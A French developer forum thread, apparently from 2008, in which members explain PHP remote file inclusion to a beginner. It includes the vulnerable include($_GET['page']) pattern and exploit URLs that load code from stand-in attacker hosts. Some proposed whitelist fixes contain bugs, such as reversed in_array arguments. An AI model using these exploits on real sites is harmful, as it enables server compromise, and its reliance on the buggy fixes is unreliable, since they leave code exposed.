Précédent   Forum des professionnels en informatique > PHP > Langage > Sessions
Sessions Forum d'entraide sur les sessions avec PHP. Avant de poster -> FAQ sessions, Cours sessions et Sources sécurité
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 24/05/2008, 19h10   #1
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
Par défaut [Sécurité] La faille include

bonjour.
premier message sur ce forum donc je me présente: arnaud 19 ans, bases sup dans le php.
Mon problème du jour: résoudre la faille d'include: en effet sur mon site je met des include pour me connecter à ma base de donnée ect ect les fichiers à protéger se trouvent donc dans un dossier protéger pas mot de passe (htacces ect ect).
Hors en parlant avec une personne qui se débrouille mieux que moi il m'a fait penser au fait que la personne peut en voyant tout simplement mon code utiliser le fichier appelé par un adressage du type http://arnaudinnsert.com/protect/connection.php dans un include

comment résoudre cette faille??
merci de votre aide
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 19h52   #2
Inactif
 
Inscription : mai 2008
Messages : 179
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 179
Points : 179
Points : 179
Il marche comment, ton système d'include ?

Suffit de contrôler ce que tu inclus, pour être sûr qu'il s'agisse d'un script destiné à l'être.
sielfried est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 20h00   #3
Membre éclairé
 
Inscription : mai 2008
Messages : 359
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 359
Points : 397
Points : 397
Bonsoir,
Comment une personne pourrait-elle voir ton code ?
A moins que tu ne fasses passer le nom et l'adresse de tes pages à inclure directement dans l'url ? Il vaut mieux éviter ce dernier cas, même si, correctement filtré, rien ne passera.
Tsilefy est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 20h18   #4
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
merci pour vos réponses .
Alors pour la question de comment on peut voir mon code: il parait que voir du php c'est possible justement en utilisant la même faille.
j'urilise include comme suis dans ma page php (qui n'est pas dans un dossier protéger)
Code :
1
2
include("secure/connect.php");
include("secure/suis.php");
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 22h08   #5
Membre éclairé
 
Inscription : mai 2008
Messages : 359
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 359
Points : 397
Points : 397
Une page php n'est normalement pas lisible à partir d'un simple navigateur. Si c'est le cas, ce n'est plus un problème php, c'est une défaillance (grave !) du serveur.
La faille 'include', dans sa version la plus brute (et simplifiée) consiste en ceci :
le lien utilisé pour ouvrir la page :
Code :
<a href="index.php?page=include.php">
le traitement effectué dans la page index.php
Code :
1
2
3
4
 
<?php
include($_GET['page']); //affiche la page dans la page en cours
?>
Exploitation de la faille :
Code :
<a href="index.php?page=http://www.grandmechantpirate.ru/mechant.php">
Conséquence: dès qu'on clique sur le lien, la page http://www.grandmechantpirate.ru/mechant.php est incluse, ce qui permet au grand méchant pirate de faire à peu ce qu'il veut (suivant la configuation de sécurité du serveur), depuis le défaçage de site jusqu'à la lecture du fichier de mots de passe, etc..

La solution consiste simplement à ne jamais faire confiance à tout ce qui provient de l'extérieur, et donc à filtrer soigneusement toute requête GET ou POST, ainsi qu'à ne pas utiliser des indications aussi précises que '?page=' ou 'include=' suivi d'un nom de fichier.
Tsilefy est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 22h22   #6
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
Code :
1
2
3
<?php
include($_GET['page']); //affiche la page dans la page en cours
?>
?
merci de ton aide
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 24/05/2008, 22h34   #7
Rédacteur/Modérateur
 
Avatar de 12monkeys
 
Homme Dr. Peters
Webmaster
Inscription : novembre 2006
Messages : 3 630
Détails du profil
Informations personnelles :
Nom : Homme Dr. Peters
Âge : 35
Localisation : France, Bas Rhin (Alsace)

Informations professionnelles :
Activité : Webmaster
Secteur : Service public

Informations forums :
Inscription : novembre 2006
Messages : 3 630
Points : 6 232
Points : 6 232
Bonsoir

Citation:
Envoyé par adeltimple Voir le message
OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
Code :
1
2
3
<?php
include($_GET['page']); //affiche la page dans la page en cours
?>
?
merci de ton aide
Oui mais ne laisse pas le code tel quel : tu dois vérifier ce qui vient de $_GET['page'] et que c'est bien ce à quoi tu t'attends soit le nom de tes pages et uniquement celles ci.

Code :
1
2
3
4
5
6
7
8
9
10
11
12
	switch($_GET['page']) {
	    case 'index':
		$pge = 'index.php';
	    break;
	    case 'page_1':
		$pge = 'page1.php';
	    break;
	    default:
		$pge = 'index.php';
	}
 
include("$pge");
__________________
Vous débutez dans la creation de sites web : les bases du html et débuter avec les CSS
Pas de MP pour des questions techniques ! Mode d'emploi du forum ; Règles ; Pensez à la balise code ; Pas de SMS !
Votez pour les messages qui vous ont aidés...
12monkeys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 13h05   #8
Rédacteur
 
Avatar de Yogui
 
Homme Guillaume Rossolini
Directeur technique
Inscription : février 2004
Messages : 13 720
Détails du profil
Informations personnelles :
Nom : Homme Guillaume Rossolini
Localisation : France

Informations professionnelles :
Activité : Directeur technique

Informations forums :
Inscription : février 2004
Messages : 13 720
Points : 17 355
Points : 17 355
Salut

Pour éviter tout problème, tu devrais en effet utiliser une liste blanche :
Code :
1
2
3
4
5
6
$whitelist = array('header', 'connexion');
 
if(in_array($whitelist, $_GET['page']))
{
   include $_GET['page'].'.php';
}
Ou, pour rendre l'exploitation légèrement plus complexe pour le pirate tout en améliorant un peu la sécurité de ton côté :
Code :
1
2
3
4
5
6
7
$whitelist = array('header', 'connexion');
 
$include = (int)$_GET['page']; // "page" est la clef dans $whitelist
if(isset($whitelist[$include]))
{
   include $include.'.php';
}
Le mieux étant bien sûr de ne pas faire d'includes par l'URL, car en réalité ton application doit être en mesure de savoir de quels includes elle a besoin sans faire intervenir l'utilisateur, or utiliser GET pour inclure les scripts implique l'utilisateur.
__________________
Mes articles - Zend Certified Engineer (PHP + Zend Framework)
Ressources PHP - Ressources Zend Framework
Yogui est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 16h46   #9
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
je comprend pas tout ce que vous me dites
je n'utilise pas de methode get ou post juste des include pour appeler ma page qui va s'occuper de tracer l'utilisateur voir si il ne s'amuse pas à essayé de pénétrer dans la partie securisée ou dans la partie admin:

dans mon index.php j'ai mit ça:
Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("secure/connexion.php");
include("secure/trace.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
		<title>news informatiques</title>
		<link rel="stylesheet" type="text/css" href="style.css" />
 
	</head>
	<body>
...
ma page connection.php contient juste mysql_connect et mysql_select_db et ma page trace juste le script qui au chargement d'une page va écrire dans un fichier des infos sur l'utilisateur et le faire rentrer dans mes stats de naviguateurs

faut-il quand même que je fasse une liste blache??
merci de votre aide
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 17h09   #10
Rédacteur
 
Avatar de Yogui
 
Homme Guillaume Rossolini
Directeur technique
Inscription : février 2004
Messages : 13 720
Détails du profil
Informations personnelles :
Nom : Homme Guillaume Rossolini
Localisation : France

Informations professionnelles :
Activité : Directeur technique

Informations forums :
Inscription : février 2004
Messages : 13 720
Points : 17 355
Points : 17 355
Ah, désolé, c'est ce message qui m'a induit en erreur : http://www.developpez.net/forums/sho...37&postcount=6

Si tu inclus tes scripts comme tu le montres ici, rien n'est dynamique. Tu n'as donc aucune crainte à avoir de la faille include.
__________________
Mes articles - Zend Certified Engineer (PHP + Zend Framework)
Ressources PHP - Ressources Zend Framework
Yogui est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 17h29   #11
Membre éclairé
 
Inscription : mai 2008
Messages : 359
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 359
Points : 397
Points : 397
Comme je te l'ai dit, si un visiteur peut accéder à tes fichiers de cette manière, ce n'est plus une faille php, c'est une faille (grave et anormale) du serveur : d'un, même si tu ne fais rien, les fichiers contenus dans secure ne sont pas lisibles s'ils ont l'extension .php; de deux, tu peux mettre le dossier secure dans un emplacement non public, c'est-à-dire autre que dans le dossier www ou web ou public_html (selon les cas) ; et de trois, tu peux interdire l'accès à ce dossier par un htaccess.
Tsilefy est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 17h49   #12
Rédacteur
 
Avatar de darrylsite
 
Inscription : juillet 2007
Messages : 1 287
Détails du profil
Informations forums :
Inscription : juillet 2007
Messages : 1 287
Points : 1 756
Points : 1 756
Citation:
Envoyé par Yogui Voir le message
Si tu inclus tes scripts comme tu le montres ici, rien n'est dynamique. Tu n'as donc aucune crainte à avoir de la faille include.
Generalement sur les sites, on retrouve les meme menus, banieres, footbar, ... et ce qui change c' est souvent le contenu que l' utilisateur veut voir.
Alors pour eviter de se fatiguer (faire copier/coller des menus sur toutes les pages est bien trop lent et rend difficile la maintenance), on inclut seulement ce qui vas changer dans la page standard.
La structure des liens de la page sera :
Code :
1
2
3
4
 
<a href="include.php?page=index.php"> ... </a>
<a href="include.php?page=music.php"> ... </a>
...
Et au niveau de la page standard:
Code :
1
2
3
4
5
6
7
8
 
//code de la page standard
include("header.php");
include("menu.php");
$page=$_GET['page'];
include($page);
include("footbar.php");
...
Alors si un hacker fait une page :
Code :
1
2
3
4
 
// www.hacker.com/hacker.php
echo "je suis entrain de pirater ton site";
//il efface tout dans le dossier
et change dans la bar d' addresse un lien de ton site par
Code :
1
2
 
http://www.tonsite.com/include.php?page="http://www.hacker.com/hacker.php"
son script sera executé sur ton serveur.
Voilà une presentation rapide de la faille include.
darrylsite est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 18h09   #13
Rédacteur
 
Avatar de Yogui
 
Homme Guillaume Rossolini
Directeur technique
Inscription : février 2004
Messages : 13 720
Détails du profil
Informations personnelles :
Nom : Homme Guillaume Rossolini
Localisation : France

Informations professionnelles :
Activité : Directeur technique

Informations forums :
Inscription : février 2004
Messages : 13 720
Points : 17 355
Points : 17 355
darrylsite, je te remercie mais je connais la faille include... Il me semble que ce que tu dis n'a cependant rien à voir avec la question d'adeltimple. Ses liens ne sont pas dynamiques comme dans ton exemple, son site n'est donc pas vulnérable.

adeltimple n'a pour le moment pas de problème de faille include dans ses scripts, il n'y a aucune solution à lui apporter. Ce que tu dis (darrylsite) est vrai, mais j'ai l'impression que pour le moment cela apporte de la confusion sans résoudre aucun problème (puisqu'il n'y en a pas).
__________________
Mes articles - Zend Certified Engineer (PHP + Zend Framework)
Ressources PHP - Ressources Zend Framework
Yogui est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 18h16   #14
Rédacteur
 
Avatar de Yogui
 
Homme Guillaume Rossolini
Directeur technique
Inscription : février 2004
Messages : 13 720
Détails du profil
Informations personnelles :
Nom : Homme Guillaume Rossolini
Localisation : France

Informations professionnelles :
Activité : Directeur technique

Informations forums :
Inscription : février 2004
Messages : 13 720
Points : 17 355
Points : 17 355
Pour clarifier :

Pour être vulnérable à la faille include, il faut avoir un code de ce style :
Si on a du code pleinement statique, rien à craindre :
Code :
include 'chemin/vers/le/script';
Concernant l'autre interrogation (exécution de code distant), ce n'est pas possible.
Chaque fois qu'un client demande un script PHP à un serveur (par HTTP et non par "include" sur la même machine), le serveur interprète le script s'il n'est pas protégé par htaccess. Si tu places un script dans un répertoire protégé par htaccess, il est donc doublement impossible à quelqu'un d'en lire le contenu.
Si tu fais include 'http://...script.php', au final cela fait une demande HTTP du script, donc l'autre serveur (même si c'est le tien) va te donner le résultat et non le script lui-même.
__________________
Mes articles - Zend Certified Engineer (PHP + Zend Framework)
Ressources PHP - Ressources Zend Framework
Yogui est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 18h29   #15
Rédacteur/Modérateur
 
Avatar de 12monkeys
 
Homme Dr. Peters
Webmaster
Inscription : novembre 2006
Messages : 3 630
Détails du profil
Informations personnelles :
Nom : Homme Dr. Peters
Âge : 35
Localisation : France, Bas Rhin (Alsace)

Informations professionnelles :
Activité : Webmaster
Secteur : Service public

Informations forums :
Inscription : novembre 2006
Messages : 3 630
Points : 6 232
Points : 6 232
Citation:
Envoyé par Yogui Voir le message
Il me semble que ce que tu dis n'a cependant rien à voir avec la question d'adeltimple.
En effet, il me semble que nous avons tous été un peu induits en erreur par le message suivant d'adeltimple :

Citation:
Envoyé par adeltimple Voir le message
OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
Code :
1
2
3
<?php
include($_GET['page']); //affiche la page dans la page en cours
?>
?
merci de ton aide
__________________
Vous débutez dans la creation de sites web : les bases du html et débuter avec les CSS
Pas de MP pour des questions techniques ! Mode d'emploi du forum ; Règles ; Pensez à la balise code ; Pas de SMS !
Votez pour les messages qui vous ont aidés...
12monkeys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 19h01   #16
Membre éclairé
 
Inscription : mai 2008
Messages : 359
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 359
Points : 397
Points : 397
Citation:
Envoyé par 12monkeys Voir le message
En effet, il me semble que nous avons tous été un peu induits en erreur par le message suivant d'adeltimple :
Oui, soi je me suis mal exprimé dans mes explications, soit il a mal compris, alors que j'expliquais simplement la faille include, pour lui monter que ça ne s'applique pas à son cas.
Tsilefy est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 19h09   #17
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
OK merci a tous, je peut donc considérer mon site comme sécurisé pour l'instant
oui désolé de ne pas m'être mieux exprimé :S
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 25/05/2008, 19h22   #18
Membre éclairé
 
Inscription : mai 2008
Messages : 359
Détails du profil
Informations forums :
Inscription : mai 2008
Messages : 359
Points : 397
Points : 397
Sécurisé ...
Disons que la faille include ne s'applique pas. C'est tout.
Tsilefy est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 26/05/2008, 22h43   #19
Candidat au titre de Membre du Club
 
Étudiant
Inscription : mai 2008
Messages : 56
Détails du profil
Informations personnelles :
Âge : 23
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : mai 2008
Messages : 56
Points : 12
Points : 12
include c'est vachement utile!
tellement pratique que j'en met dans toutes les pages
une nouvelle question me vient donc à l'esprit à part la sécurité:
http://www.developpez.net/forums/sho...05#post3308505
adeltimple est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité Cette discussion est résolue.
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 20h17.


 
 
 
 
Partenaires

Hébergement Web